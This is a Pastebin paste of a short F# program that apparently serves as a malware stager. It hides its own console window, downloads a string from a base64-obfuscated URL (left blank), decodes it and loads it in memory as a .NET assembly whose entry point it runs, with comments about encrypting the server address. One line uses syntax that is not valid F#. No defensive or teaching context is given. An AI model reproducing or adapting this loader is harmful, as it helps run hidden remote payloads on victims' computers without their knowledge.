Advertisement
Tsunamii

Untitled

Jul 10th, 2016
100
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
F# 0.88 KB | None | 0 0
  1. open System
  2. open System.Net
  3. open System.Text
  4. open System.Reflection
  5. // Hide Window
  6. module HIDEWINDOW =
  7.     [<System.Runtime.InteropServices.DllImport("user32.dll")>]
  8.     extern bool ShowWindow(nativeint hWnd, int flags)
  9.     let HideConsole() =
  10.         let proc = System.Diagnostics.Process.GetCurrentProcess()
  11.         ShowWindow(proc.MainWindowHandle, 0)
  12. let Object1 = HIDEWINDOW.HideConsole()
  13.  
  14. // Start Encryption in a Hidden Window
  15. let DW = new WebClient()
  16. // Convert the Server To Base64 And Encrypt The URL
  17. let Lines as string = DW.DownloadString(Encoding.ASCII.GetString(System.Convert.FromBase64String("")))
  18. let HEXOR1 = new string(Array.rev(Lines.ToCharArray())) // Just in case if u want to use them in a array normal String, ""
  19. let HEXOR2 = System.Convert.FromBase64String(Lines)
  20. [<STAThread>]
  21. let Object2 = AppDomain.CurrentDomain.Load(HEXOR2).EntryPoint.Invoke(0,null)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement